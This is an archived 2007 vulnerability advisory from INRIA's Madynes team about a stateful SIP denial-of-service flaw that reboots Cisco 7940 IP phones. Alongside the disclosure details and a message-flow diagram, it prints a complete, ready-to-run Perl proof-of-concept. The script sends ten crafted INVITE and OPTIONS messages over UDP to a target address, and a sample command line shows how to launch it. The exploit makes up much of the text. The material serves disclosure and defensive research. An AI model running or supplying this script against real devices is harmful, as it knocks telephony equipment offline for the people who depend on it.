Home / os / win2k

cisco-stateful-dos.txt

Posted on 22 August 2007

MADYNES Security Advisory : stateful SIP remote DOS on Cisco 7940 Date of Discovery 4 April, 2007 ID: KIPH6 Synopsis After sending a series of ten SIP messages the device reboots. The phone does not check properly the state engine in the SIP stack The vendor was informed in April 2007 and acknowledged the vulnerability. This vulnerability was identified by the Madynes research team at INRIA Lorraine, using the Madynes VoIP fuzzer KIPH. This is one of the first vulnerabilities published where advanced state tracking is required. Background * SIP is the IETF standardized (RFCs 2543 and 3261) protocol for VoIP signalization. SIP is an ASCII based INVITE message is used to initiate and maintain a communication session. Affected devices: Cisco phone 7940 (maybe other also) running firmware P0S3-08-6-00 Impact : A malicious user can remotely crash and perform a denial of service attack by sending ten crafted SIP messages. Resolution Fixed software will be available from the vendor and customers following recommended best practices (ie segregating VOIP traffic from data) will be protected from malicious traffic in most situations. Credits * Humberto J. Abdelnur (Ph.D Student) * Radu State (Ph.D) * Olivier Festor (Ph.D) This vulnerability was identified by the Madynes research team at INRIA Lorraine, using the Madynes VoIP fuzzer KIPH Configuration of our device: * Current Firmware : P0S3-08-6-00 * IP-Address obtained by DHCP as 192.168.1.8 * User Name: 7940-3 Vulnerability: It is based in a sequence of 10 messages, any of the particular messages may do any harm by itself, but all of them turn the device in an inconsistent state. The sequence is like: X ------------------------- INVITE -----------------------> Cisco X <--------------- 400 Bad Request --------------- Cisco X <--------------- 400 Bad Request --------------- Cisco X <--------------- 400 Bad Request --------------- Cisco X <--------------- 400 Bad Request --------------- Cisco X <--------------- 400 Bad Request --------------- Cisco X ------------------------- OPTIONS--------------------> Cisco X <--------------------- 200 OK ------------------------- Cisco X ------------------------- OPTIONS--------------------> Cisco X <--------------------- 200 OK ------------------------- Cisco X <--------------- 400 Bad Request --------------- Cisco X ------------------------- INVITE -----------------------> Cisco X <--------------- 400 Bad Request --------------- Cisco X <--------------- 400 Bad Request --------------- Cisco X ------------------------- OPTIONS--------------------> Cisco X <--------------- 404 Not Found ------------------ Cisco X <--------------- 400 Bad Request --------------- Cisco X <--------------- 400 Bad Request --------------- Cisco X <--------------- 400 Bad Request --------------- Cisco X ------------------------- OPTIONS--------------------> Cisco X <--------------------- 200 OK ------------------------- Cisco X ------------------------- INVITE -----------------------> Cisco X <----------------100 Trying ------------------------- Cisco X <--------------- 404 Not Found ------------------ Cisco X <--------------- 404 Not Found ------------------ Cisco X <--------------- 404 Not Found ------------------ Cisco X ------------------------- OPTIONS--------------------> Cisco X <--------------------- 200 OK ------------------------- Cisco X <--------------- 404 Not Found ------------------ Cisco X ------------------------- OPTIONS--------------------> Cisco X <--------------------- 200 OK ------------------------- Cisco X <--------------- 404 Not Found ------------------ Cisco ... And the device reboots after a few seconds. Exploit: To run the exploit the file stateful-cisco-8.6.pl should be launched (assuming our configurations) as: perl stateful-cisco-8.6-v2.pl 192.168.1.8 5060 7940-3 192.168.1.2 It approximatively takes less than 2 minutes to reboot the device after the script is launched. The script is simple and does not check if which messages are received, but just wait some time before send the next one. POC Code #!/usr/bin/perl use IO::Socket::INET; die "Usage $0 <dst-address> <dst-port> <dst_username> <src-address>" unless ($ARGV[3]); $socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1], Proto=>'udp', PeerAddr=>$ARGV[0]); $msg = "INVITE sip:$ARGV[2]@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];branch=01;rport From: <sip:tucu@$ARGV[3]>;tag=01 To: <sip:$ARGV[2]@invalidURL> Call-ID: 01@$ARGV[3] CSeq: 7532 INVITE Max-Forwards: 70 Allow: INVITE, ACK, CANCEL, OPTIONS, BYL, REFER, SUBSCRIBE, NOTIFY Content-Type: application/sdp Content-Length: 215 v=0 o=r`ot 7213 7244 IN IP4 192.168.1.101 s=session c=IN IP4 192.168.1.101 t=0 0 m=aIdio 8000 RTP/AVP 0 101 a=rtpmau:0 PCMU/8000 a=rtpmap:101 telephone-event/80 0 a=fmtp:101 0-16 a=silenceSupp:off - - - - "; $socket->send($msg); sleep(8.2); $msg = "OPTIONS sip:$ARGV[2]@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];rport;branch=02 Max-Forwards: 70 To: <sip:$ARGV[2]@$ARGV[0]> From: <sip:tucu@$ARGV[3]>;tag=02 Call-ID: 02@$ARGV[3] CSeq: 79 OPTIONS Accept: application/sdp Content-Length: 0 "; $socket->send($msg); sleep(1.5); $msg = "OPTIONS sip:$ARGV[2]@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];rport;branch=02 Max-Forwards: 70 To: <sip:$ARGV[2]@$ARGV[0]> From: <sip:tucu@$ARGV[3]>;tag=03 Call-ID: 01@$ARGV[3] CSeq: 15853 OPTIONS Accept: application/sdp Content-Length: 0 "; $socket->send($msg); sleep(3.3); $msg = "INVITE sip:$ARGV[2]@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];rport;branch=02 Max-Forwards: 70 To: <sip:$ARGV[2]@$ARGV[0]> From: <sip:tucu@$ARGV[3]>;tag=04 Call-ID: 04@$ARGV[3] CSeq: 36688 INVITE Content-Type: application/sdp Allow: INVITE, ACK, BTE, CANCEL, OPTIONS, PRACK, REFEY, NOTIFY, SUBSCRIBE, INFO Supported: 100rel User-Agent: Twinkle/0.9 Content-Length: 314 v=0 o=0231555775 2006994253 1729335607 IN IP4 192.168.1.101 s=- c=IN IP4 192.168.1.101 t=0 0 m=audio 8002 RTP/AVP 98 97 8 0 3 101 a=rtpmap:98 speex/16000 a=rtpmap:97 peex/80-0 a=rtpmap:8 PCMA/8000 a=rtpmap:0 PCMU/8000 a=rtpmax00:3 GSM/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-15 a=ptime:20 "; $socket->send($msg); sleep(4); $msg = "OPTIONS sip:$ARGV[2]@invalidURL SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];rport;branch=02 Max-Forwards: 70 To: <sip:$ARGV[2]@invalidURL> From: <sip:tucu@$ARGV[3]>;tag=01 Call-ID: 01@$ARGV[3] CSeq: 21013 OPTIONS Accept: application/sdp Content-Length: 0 "; $socket->send($msg); sleep(4); $msg = "OPTIONS sip:$ARGV[2]@invalidURL SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];rport;branch=02 Max-Forwards: 70 To: <sip:$ARGV[2]@invalidURL> From: <sip:tucu@$ARGV[3]>;tag=01 Call-ID: 01@$ARGV[3] CSeq: 18031 OPTIONS Accept: application/sdp Content-Length: 0 "; $socket->send($msg); sleep(12); $msg = "OPTIONS sip:$ARGV[2]@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];rport;branch=02 Max-Forwards: 70 To: <sip:$ARGV[2]@$ARGV[0]> From: <sip:tucu@$ARGV[3]>;tag=07 Call-ID: 07@$ARGV[3] CSeq: 41664 OPTIONS Accept: application/sdp Content-Length: 0 "; $socket->send($msg); sleep(3); $msg = "INVITE sip:invaliduser@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];branch=02;rport From: <sip:tucu@$ARGV[3]>;tag=08 To: <sip:7440-2@$ARGV[0]> Contact: <sip:tucu@$ARGV[3]> Call-ID: 08@$ARGV[3] CSeq: 35502 INVITE Max-Forwards: 70 Allow: INVITE, ACK, CANCEL, OPTIONS, BYE, REFER, SUBSCRIBE, NOTIFY Content-Type: application/sdp Content-Length: 286 v=0 o=root 7213 7217 IN IP4 192.168.1.4 s=session c=IN IP4 192.168.1.4 t=0 0 m=audio 19024 RTP/AVP 0 3 8 97 101 a=rtpmap:0 PCMU/8000 a=rtpmap:3/GSM/8000 a=rtpmIp:8 PCMA/8000 a=rtpmap:97 spee8/8000 a=rtpmap:101 telephone-event/8000 a=fmtp:101 0-16 a=silenceSupp:off - - - - "; $socket->send($msg); sleep(3); $msg = "OPTIONS sip:$ARGV[2]@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];rport;branch=02 Max-Forwards: 70 To: <sip:$ARGV[2]@$ARGV[0]> From: <sip:tucu@$ARGV[3]>;tag=09 Call-ID: 09@$ARGV[3] CSeq: 18883 OPTIONS Accept: application/sdp User-Agent: Twinkle/0.9 Content-Length: 0 "; $socket->send($msg); sleep(3); $msg = "OPTIONS sip:$ARGV[2]@$ARGV[0] SIP/2.0 Via: SIP/2.0/UDP $ARGV[3];rport;branch=02 Max-Forwards: 70 To: <sip:$ARGV[2]@$ARGV[0]> From: <sip:tucu@$ARGV[3]>;tag=10 Call-ID: 10@$ARGV[3] CSeq: 6298 OPTIONS Accept: application/sdp Content-Length: 0 "; $socket->send($msg);

 

TOP